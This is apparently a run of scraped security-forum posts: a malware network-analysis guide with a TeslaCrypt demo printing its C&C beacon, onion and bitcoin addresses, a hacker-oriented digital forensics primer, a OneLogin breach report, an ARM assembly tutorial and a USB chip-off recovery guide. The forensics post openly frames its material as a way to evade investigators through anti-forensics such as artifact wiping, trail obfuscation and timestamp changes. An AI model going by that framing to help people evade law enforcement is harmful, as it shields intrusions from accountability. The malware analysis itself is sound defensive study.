(and by extent, the malware sample you’re running on it) have access to it. The simplest way to achieve a file transfer to the Ubuntu victim machine is to use netcat. Here’s a quick example. # Receiving machine having IP $ nc -lvp 4444 > file.exe # Analysis machine (sender) $ cat file_to_transfer.exe | nc 4444 For a Window victim, we unfortunately don’t have netcat available. Alternatives might exist, but they probably don’t ship by default. One option is to use INetSim to serve your file to the victim machine. # inetsim.conf # Remove the default line: http_fakefile exe sample_gui.exe x-msdos-program # Replace it by http_fakefile exe file_to_transfer.exe x-msdos-program # And put file_to_transfer.exe in ./data/http/fakefiles With this of configuration, just browse any URL ending with a ‘.exe’ (e.g. 7. Demo time: the TeslaCrypt ransomware Time for a quick demo! I downloaded a sample of the ransomware TeslaCrypt, transferred it to our Windows 7 victim machine, and executed it. After a few seconds, all the files of the VM have been encrypted and the following window pops-up. TeslaCrypt main window (click for full-size image) The machine’s files have been encrypted and replaced by files with the ECC extension After checking the logs of INetSim, we can see that the ransomware did the following DNS lookups: And sent several HTTP requests to those domains. HTTPS connection, method: GET, URL: HTTPS connection, method: GET, URL: HTTPS connection, method: GET, URL: HTTPS connection, method: GET, URL: We see similar requests are made to, and Those services allow to access the Tor network without having to install Tor Browser or a similar tool. The malware contacts the Tor hidden service 7tno4hib47vlep5o.onion, which is probably some kind of C&C server. The payload of the request is a base64 encoded string, which decodes to: Subject=Ping &key=15B38B18AF20C0DB2A7C771E014363F2CB8781B156D519CC5F220335D4714AA3 &addr=1LNUF3BqL3ob1CT2aVp3cW4Nb8zkkViVwT &files=0 &size=0 &version=0.2.6a &date=1496648675 &OS=7601 &ID=16 &subid=0 &gate=G1 It also makes an API call to (which doesn’t exist anymore), most probably to check if the ransom has been paid to the bitcoin address 1LNUF3BqL3ob1CT2aVp3cW4Nb8zkkViVwT. It seems like the malware generates an unique bitcoin address for each infected computer, since the address didn’t receive or send out any money. Conclusion Hopefully this guide will be helpful and allow you to safely analyze the network interactions of a malware. Keep in mind that some malwares detect when they are being run in a virtual machine and might adapt their behavior (e.g. do nothing). Here’s an article from MalwareBytes on the subject. Also, remember that while analyzing a malware’s network traffic can be very useful, it’s only one kind of dynamic analysis. Others include monitoring the register, the system calls, the files opened / created, etc. Open Security Training offers a full hands-on course on the topic, for free. Don’t hesitate to leave a comment if you found this guide useful / awesome / too long / too detailed. A big thank you to lbarman for the proofreading and numerous suggestions. Stay safe! Sursa:
  4. So many readers in the Null Byte community have been asking me questions about evading detection and hacking undetected that I decided to start a new series on digital forensics. I applaud each of you for your concern, as the last thing I want to see is one of you getting caught and spending years locked up in a 8 x 8 concrete room with a violent and lascivious cellmate. You can never be too cautious in this field of endeavor. The best way to evade detection is to understand what the other side is doing and using. So, this series will focus on the tools and techniques that law enforcement and the security engineers are using to detect and prosecute hackers around the world. What Is Digital Forensics? Digital forensics is the field of determining who was responsible for a digital intrusion or other computer crime. It uses a wide-range of techniques to gain attribution to the perpetrator. It relies upon the fundamental concept that whenever a digital intrusion or crime is committed, the perpetrator inadvertently leaves a bit of themselves behind for the investigator to find. These "bits" could be entries in log files, changes to the registry, hacking software, malware, remnants of deleted files, etc. All of these can provide clues and evidence to determine their identity and lead to the capture and arrest of the hacker. As a hacker, the more you know and understand about digital forensics, the better you can evade the standard forensic techniques and even implement anti-forensic measures to throw off the investigator. The Digital Forensic Tools Just like in hacking, there are a number of software tools for doing digital forensics. For the hacker, becoming familiar with these tools and how they work is crucial to evading them. Most digital forensic investigators rely upon three major commercial digital forensic suites. Guidance Software's EnCase Forensic Access Data's Forensic Tool Kit (FTK) Prodiscover These three suites are comprised of multiple tools and reporting features and can be fairly expensive. While these suites are widely used by law enforcement, they use the same or similar techniques as the free open-source suites without the fancy interfaces. By using the open source and free suites, we can come to understand how such tools as EnCase work without the expense. EnCase is the most widely used tool by law enforcement, but not necessarily the most effective and sophisticated. These tools are designed for user-friendliness, efficiency, certification, good training, and reporting. There are a number of the free, open-source forensic suites, including the following three. The Sleuthkit Kit (TSK) Helix Knoppix We will look at each of these suites to better understand what digital forensic investigators can see and find about an intrusion and the perpetrator. The Forensic Tools Available in BackTrack In addition, there are a large number of individual tools that are available for digital forensics, some of which are available in our BackTrack and Kali distributions. Some of the better tools in BackTrack include the following, among many others. sleuthkit truecrypt hexedit autopsy iphoneanalyzer rifiuti2 ptk exiftool fatback scalpel dc3dd driftnet timestomp What Can Digital Forensics Do? Digital forensics can do many things, all of which the aspiring hacker should be aware of. Below is a list of just some of the things. Recovering deleted files, including emails Determine what computer, device, and/or software created the malicious file, software, and/or attack Trail the source IP and/or MAC address of the attack Track the source of malware by its signature and components Determine the time, place, and device that took a picture Track the location of a cell phone enabled device (with or without GPS enabled) Determine the time a file was modified, accessed or created (MAC) Crack passwords on encrypted hard drives, files, or communication Determine which websites the perpetrator visited and what files he downloaded Determine what commands and software the suspect has utilized Extract critical information from volatile memory Determine who hacked the wireless network and who the unauthorized users are And that' just some of the things you can do with digital forensics! What Is Anti-Forensics? Anti-forensics are techniques that can be used to obfuscate information and evade the tools and techniques of the forensic investigator. Some of these techniques include the following. Hiding Data: Hiding data can include such things as encryption and stegonography. Artifact wiping: Every attack leaves a signature or artifact behind. Sometimes it's wise to attempt to wipe these artifacts from the victim machine so as to leave no tell-tale trail for the investigator. Trail Obfuscation: A decent forensic investigator can trail nearly any remote attack to a IP address and/or MAC address. Trail obfuscation is a technique that leads them to another source of the attack, rather than the actual attack. Change the timestamp: Change the file timestamp (modify, access, and change) to evade detection by forensic tools. Stay Tuned for More on Digital Forensics We will spend some of my future Null Byte tutorials looking at the most widely-used techniques in digital forensics, using both commercial and open-source tools, and then advance to anti-forensics, or ways to evade detection from these tools and the forensic investigator. So, to learn the techniques law enforcement and security engineers are using to track hackers, along with how to avoid and evade, keep coming back here! Sursa: part x:
  5. La testul "SITUATIONAL" din data de ai obtinut un punctaj de din 27, care te situeaza peste media aplicantilor. La testul "CULTURA GENERALA" din data de ai obtinut un punctaj de din 33, care te situeaza peste media aplicantilor. Felicitări! Dacă nu cumva suntem deja colegi, vei trece cu siguranţă probele noastre aptitudinale. Ai reale calități pentru spionaj, gândește-te! @QuoVadis cat iti iese pe agent recrutat?
  6. Encrypted information has been accessed during a data breach at the password management service, OneLogin. It affects "all customers served by our US data centre" and perpetrators had "the ability to decrypt encrypted data", according to The Register. Those affected have been advised to visit a registration-only support page, outlining the steps they need to take. Security experts said the breach was "embarrassing" and showed every company was open to attack. OneLogin is a single sign-on service, allowing users to access multiple apps and sites with just one password. In 2013, the company had 700 business customers and passed 12 million licensed users. Apps and sites integrated into the service include Amazon Web Services, Microsoft Office 365, Slack, Cisco Webex, Google Analytics and LinkedIn. "We have since blocked this unauthorized access, reported the matter to law enforcement, and are working with an independent security firm to determine how the unauthorized access happened," chief information security officer Alvaro Hoyos said on the company's blog. "We are actively working to determine how best to prevent such an incident from occurring in the future." Users who log in to the site have been given a list of steps designed to minimise the risk to their data. These include: forcing a password reset for all users generating new security credentials and certificates for apps and sites recycling secrets stored in OneLogin's secure notes Some customers have criticised OneLogin for requiring users to log in to see the list. The company has not yet responded to a BBC request for comment. In its email to customers, OneLogin told them that "because this is still an active investigation involving law enforcement, there are certain details we can't comment on at this time. "We understand how frustrating this might be and thank you for your patience while we continue the investigation." 'Strong passwords' "Companies need to understand the risks of using cloud-based systems," Professor Bill Buchanan of Edinburgh Napier University told the BBC. "Increasingly they need to encrypt sensitive information before they put it within cloud systems, and watch that their encryption keys are not distributed to malicious agents. "It is almost impossible to decrypt data that uses strong encryption, unless the encryption key has been generated from a simple password," he said. IT security consultant Ben Schlabs told the BBC it was likely the compromised data included passwords protected using "hashing" - converting the data into fixed-length strings of characters or numbers. "The security of data would then depend on the strength of the passwords, and of the password hashes," he said. "I would happily store my properly encrypted password safe in any cloud service, because you don't know my password for that safe and I trust encryption." The strongest encryption system "hasn't been broken yet, and there's no sign that it should be," he said. Sursa:
  7. Windows Server 2016 System Administration for Beginners
  8. Welcome to this tutorial series on ARM assembly basics. This is the preparation for the followup tutorial series on ARM exploit development (not published yet). Before we can dive into creating ARM shellcode and build ROP chains, we need to cover some ARM Assembly basics first. The following topics will be covered step by step: ARM Assembly Basics Tutorial Series: Part 1: Introduction to ARM Assembly Part 2: Data Types Registers Part 3: ARM Instruction Set Part 4: Memory Instructions: Loading and Storing Data Part 5: Load and Store Multiple Part 6: Conditional Execution and Branching Part 7: Stack and Functions To follow along with the examples, you will need an ARM based lab environment. If you don’t have an ARM device (like Raspberry Pi), you can set up your own lab environment in a Virtual Machine using QEMU and the Raspberry Pi distro by following this tutorial. If you are not familiar with basic debugging with GDB, you can get the basics in this tutorial. Why ARM? This tutorial is generally for people who want to learn the basics of ARM assembly. Especially for those of you who are interested in exploit writing on the ARM platform. You might have already noticed that ARM processors are everywhere around you. When I look around me, I can count far more devices that feature an ARM processor in my house than Intel processors. This includes phones, routers, and not to forget the IoT devices that seem to explode in sales these days. That said, the ARM processor has become one of the most widespread CPU cores in the world. Which brings us to the fact that like PCs, IoT devices are susceptible to improper input validation abuse such as buffer overflows. Given the widespread usage of ARM based devices and the potential for misuse, attacks on these devices have become much more common. Yet, we have more experts specialized in x86 security research than we have for ARM, although ARM assembly language is perhaps the easiest assembly language in widespread use. So, why aren’t more people focusing on ARM? Perhaps because there are more learning resources out there covering exploitation on Intel than there are for ARM. Just think about the great tutorials on Intel x86 Exploit writing by the Corelan Team – Guidelines like these help people interested in this specific area to get practical knowledge and the inspiration to learn beyond what is covered in those tutorials. If you are interested in x86 exploit writing, the Corelan tutorials are your perfect starting point. In this tutorial series here, we will focus on assembly basics and exploit writing on ARM. ARM processor vs. Intel processor There are many differences between Intel and ARM, but the main difference is the instruction set. Intel is a CISC (Complex Instruction Set Computing) processor that has a larger and more feature-rich instruction set and allows many complex instructions to access memory. It therefore has more operations, addressing modes, but less registers than ARM. CISC processors are mainly used in normal PC’s, Workstations, and servers. ARM is a RISC (Reduced instruction set Computing) processor and therefore has a simplified instruction set (100 instructions or less) and more general purpose registers than CISC. Unlike Intel, ARM uses instructions that operate only on registers and uses a Load/Store memory model for memory access, which means that only Load/Store instructions can access memory. This means that incrementing a 32-bit value at a particular memory address on ARM would require three types of instructions (load, increment and store) to first load the value at a particular address into a register, increment it within the register, and store it back to the memory from the register. The reduced instruction set has its advantages and disadvantages. One of the advantages is that instructions can be executed more quickly, potentially allowing for greater speed (RISC systems shorten execution time by reducing the clock cycles per instruction). The downside is that less instructions means a greater emphasis on the efficient writing of software with the limited instructions that are available. Also important to note is that ARM has two modes, ARM mode and Thumb mode. Thumb mode is intended primarily to increase code density by using 16-bit instead of 32-bit instructions. More differences between ARM and x86 are: In ARM, most instructions can be used for conditional execution. The Intel x86 and x86-64 series of processors use the little-endian format The ARM architecture was little-endian before version 3. Since then ARM processors became BI-endian and feature a setting which allows for switchable endianness. There are not only differences between Intel and ARM, but also between different ARM version themselves. This tutorial series is intended to keep it as generic as possible so that you get a general understanding about how ARM works. Once you understand the fundamentals, it’s easy to learn the nuances for your chosen target ARM version. The examples in this tutorial were created on an ARMv6 (Raspberry Pi 1). Some of the differences include: Registers on ARMv6 and ARMv7 start with the letter R (R0, R1, etc), while ARMv8 registers start with the letter X (X0, X1, etc). The amount of registers might also vary from 30 to around 40 general-purpose registers, of which only 16 are accessible in User Mode. The naming of the different ARM versions might also be confusing: ARM family ARM architecture ARM7 ARM v4 ARM9 ARM v5 ARM11 ARM v6 Cortex-A ARM v7-A Cortex-R ARM v7-R Cortex-M ARM v7-M Writing Assembly Before we can start diving into ARM exploit development we first need to understand the basics of Assembly language programming, which requires a little background knowledge before you can start to appreciate it. But why do we even need ARM Assembly, isn’t it enough to write our exploits in a “normal” programming / scripting language? It is not, if we want to be able to do Reverse Engineering and understand the program flow of ARM binaries, build our own ARM shellcode, craft ARM ROP chains, and debug ARM applications. You don’t need to know every little detail of the Assembly language to be able to do Reverse Engineering and exploit development, yet some of it is required for understanding the bigger picture. The fundamentals will be covered in this tutorial series. If you want to learn more you can visit the links listed at the end of this chapter. So what exactly is Assembly language? Assembly language is just a thin syntax layer on top of the machine code which is composed of instructions, that are encoded in binary representations (machine code), which is what our computer understands. So why don’t we just write machine code instead? Well, that would be a pain in the ass. For this reason, we will write assembly, ARM assembly, which is much easier for humans to understand. Our computer can’t run assembly code itself, because it needs machine code. The tool we will use to assemble the assembly code into machine code is a GNU Assembler from the GNU Binutils project named as which works with source files having the *.s extension. Once you wrote your assembly file with the extension *.s, you need to assemble it with as and link it with ld: $ as program.s -o program.o $ ld program.o -o program Another way to compile assembly code is to use GCC as shown below: $ gcc -c program.s -o program.o $ gcc program.o -o program The GCC approach introduces quite some overhead for the application, such as additional code (libraries), etc. This makes a properly written program to exit normally (without SIGSEGV crashes) and in some cases might be a preferred choice. However, for simplicity reasons as and ld are used throughout the tutorials here by launching the proof of concept code in the debugging (GDB) environment. Assembly under the hood Let’s start at the very bottom and work our way up to the assembly language. At the lowest level, we have our electrical signals on our circuit. Signals are formed by switching the electrical voltage to one of two levels, say 0 volts (‘off’) or 5 volts (‘on’). Because just by looking we can’t easily tell what voltage the circuit is at, we choose to write patterns of on/off voltages using visual representations, the digits 0 and 1, to not only represent the idea of an absence or presence of a signal, but also because 0 and 1 are digits of the binary system. We then group the sequence of 0 and 1 to form a machine code instruction which is the smallest working unit of a computer processor. Here is an example of a machine language instruction: 1110 0001 1010 0000 0010 0000 0000 0001 So far so good, but we can’t remember what each of these patterns (of 0 and 1) mean. For this reason, we use so called mnemonics, abbreviations to help us remember these binary patterns, where each machine code instruction is given a name. These mnemonics often consist of three letters, but this is not obligatory. We can write a program using these mnemonics as instructions. This program is called an Assembly language program, and the set of mnemonics that is used to represent a computer’s machine code is called the Assembly language of that computer. Therefore, Assembly language is the lowest level used by humans to program a computer. The operands of an instruction come after the mnemonic(s). Here is an example: MOV R2, R1 Now that we know that an assembly program is made up of textual information called mnemonics, we need to get it converted into machine code. As mentioned above, in the case of ARM assembly, the GNU Binutils project supplies us with a tool called as. The process of using an assembler like as to convert from (ARM) assembly language to (ARM) machine code is called assembling. In summary, we learned that computers understand (respond to) the presence or absence of voltages (signals) and that we can represent multiple signals in a sequence of 0s and 1s (bits). We can use machine code (sequences of signals) to cause the computer to respond in some well-defined way. Because we can’t remember what all these sequences mean, we give them abbreviations – mnemonics, and use them to represent instructions. This set of mnemonics is the Assembly language of the computer and we use a program called Assembler to convert code from mnemonic representation to the computer-readable machine code, in the same way a compiler does for high-level languages. Sursa:
  9. The Nation Is Calling You! Welcome potential member, we are the Shabhacking team. Our operative *R. Sanchez* was caught during a mission and is now being held in an intergalactic prison. ARE YOU GOOD ENOUGH TO GET HIM OUT? * shabak = "the unseen shield" The Israel Security Agency
  10. @DuTy^ " Eu astept sa se strecoare pe undeva prin ATM-uri, atunci sa vezi haos. " n-o trebuit sa astepti prea mult - Bank of China
  11. anglia:
  12. Basic Structure of a USB The first task is to remove the USB logic board from its enclosure. Oftentimes there is a seam that can be pried open with a plastic spudger tool. The board will likely be held in place by a few plastic latches or with adhesive. Once we have removed the logic board from its enclosure we can examine the board for any obvious signs of damage. Indicators of damage could range from melted components, scorch marks, bad solder joints, or cracks in the logic board. While one could attempt to repair observed damages, we will instead transplant the NAND storage chip to a functioning same model device. For this post, I tore down two USBs I had close at hand. One older unmarked 2 GB USB and a newer 8 GB SanDisk Cruzer. Both devices are pictured below. Both devices are made up of the same basic anatomy. The primary components of a USB that we will concern ourselves with are the USB connector (1), the USB controller (2), and the NAND storage chip (3). The SanDisk has its USB connector integrated with the logic board as opposed to the soldered on USB connector more commonly seen with most USBs. If the USB connector is damaged there will likely be obvious damage to the gold-plated pads within the connector or the solder joints connecting it to the logic board. A typical USB has four gold pads each corresponding to a specific signal: power, data -, data +, and ground. The gold-plated tabs should be straight, flat, and free of any residue. The solder joints where the connector meets the logic board should be holding the connector firmly in place. There should also be continuity between the gold pads and the solder joint where that electrical signal meets the board. If there is any apparent damage or the connector is not secured to the logic board, reflowing the joints may solve the issue. Failing that, one could use hot air (i.e., a hot air rework station) to remove the defective USB connector and replace it with a functioning one. The USB controller typically comes in a TQFP (Thin Quad Flat Package1) package with leads on all four sides of the chip. Discussing how to diagnose and fix issues with the controller is out of scope here. The NAND chip(s) houses all of the data on the USB. These chips are fairly durable and in most scenarios are not damaged. These chips are often one of two packages: TSOP (Thin Small Outline Package2) or BGA (Ball Grid Array3). In the photos above, both chips have a TSOP-48 NAND memory chip. The number 48 represents the total number of leads on the chip where two sides contain 24 leads each. These chips are easier to work with than their BGA counterparts where the leads are underneath the chip rather than on the side of it. Some USBs have more than one NAND chip. In that case, both NANDs would need to be swapped. In our scenario, we will discuss the steps necessary to transplant the NAND chip from a non-functioning USB to a same-model counterpart. Let’s get started. Recovering Data from a USB With the NAND chip(s) identified, let’s discuss how to remove the chip from the board. There are a number of different methods we could employ, but the end goal remains the same: melt the solder joints holding the chip in place long enough to remove it from the board. The most popular method would be to use a hot air or IR rework station. Other methods, like using a low temperature solder, exist and are worth exploring to determine the best tool for the job. Each come with their own pros and cons. When heating an electronic component to high temperatures there is always a change it may be damaged in the process. In addition to that, care needs to be taken to avoid overheating other components on the board. This is especially true when using a hot air gun. With that said, let’s continue our discussion on the assumption we have elected to use a hot air rework station. Depending on the composition of the solder used it will likely melt (reflow) around 190°C. When solder reflows, it takes on an observable shiny characteristic. Applying flux to the leads will facilitate the reflow process. The exact temperature, air flow speed, and nozzle to use is setup dependent. Practice on test devices to get a feel for the appropriate setting. Aim to reflow and remove the chip from the board after 10-20 seconds of sustained heating. If the reflow station has a preheater, the board can be heated up to near reflow temperatures to decrease the amount of time high heat needs to be applied. Preheating also allows for the board to be more evenly heated rather than heating a localized area which may stress and damage the board. With the appropriate temperature determined, apply hot air a few centimeters above the leads, taking turns to hit each side. It is critical that when using tweezers, or some other tool, to lift the chip up (once the leads have reflowed) to not apply much pressure. If there is resistance stop and do not continue pulling up on the chip. Continue applying heat. Ignoring this advice can result in tearing off pads which will certainly result in numerous headaches. Low-temperature solder is much safer with the chip but takes more time and leaves a mess on the board. The process involves applying low-temperature solder liberally on the existing solder joints and create a horizontal stream of low temp solder spanning across all of the leads on each side of the NAND. Heating this mixture of primarily low-temp solder with just a soldering iron keeps it reflowed for ~10 seconds, long enough to reflow both sides and easily remove the chip. Whichever method is preferred, remove the NAND chips from both the original and donor boards. Make sure to inspect the original chip’s leads for solder bridges (this is more likely to occur with the low-temp solder method). Solder bridges occur when one or more leads are connected with solder causing a short between those leads. Any such shorts must be removed prior to swapping the NAND onto the donor board. With the original NAND chip inspected, we can now swap it onto the functioning donor board. As a brief aside, if you have a chip programmer, and it supports your NAND, you can read directly from the chip without needing to perform this last step. Before swapping the NAND onto the donor board, inspect the board to make sure all pads are intact and there are not any solder bridges. It is also recommended to either even out or, preferably, remove solder on each pad with desoldering wick so the chip lays flat and in contact with all pads when placed on the board. Let’s discuss two different options for soldering the NAND onto the donor board. We can either use the hot air rework (or IR) station or manually solder the chip with a soldering iron. Manually soldering the chip is safer for the chip as you are not applying heat directly to the chip itself. This method is more time-consuming. Hot air is just the inverse of the process employed to remove the chip. Once complete, inspect the leads one more time to ensure there are no inadvertent electrical connections between leads. In addition to this, use a multimeter and check for continuity between each lead and the pad it connectors to to ensure all are making sound electrical connections. If all went well, reattempt acquisition of the device. Ideally it should now be recognized by your machine and allow you to image it. If that is not the case, reinspect the leads and rule out inadvertent electrical connections. Verify that the host and donor are the same make and model with similar board design. Know that this technique is potentially destructive. Therefore, ensure you practice this in test scenarios before applying it to casework. Sursa: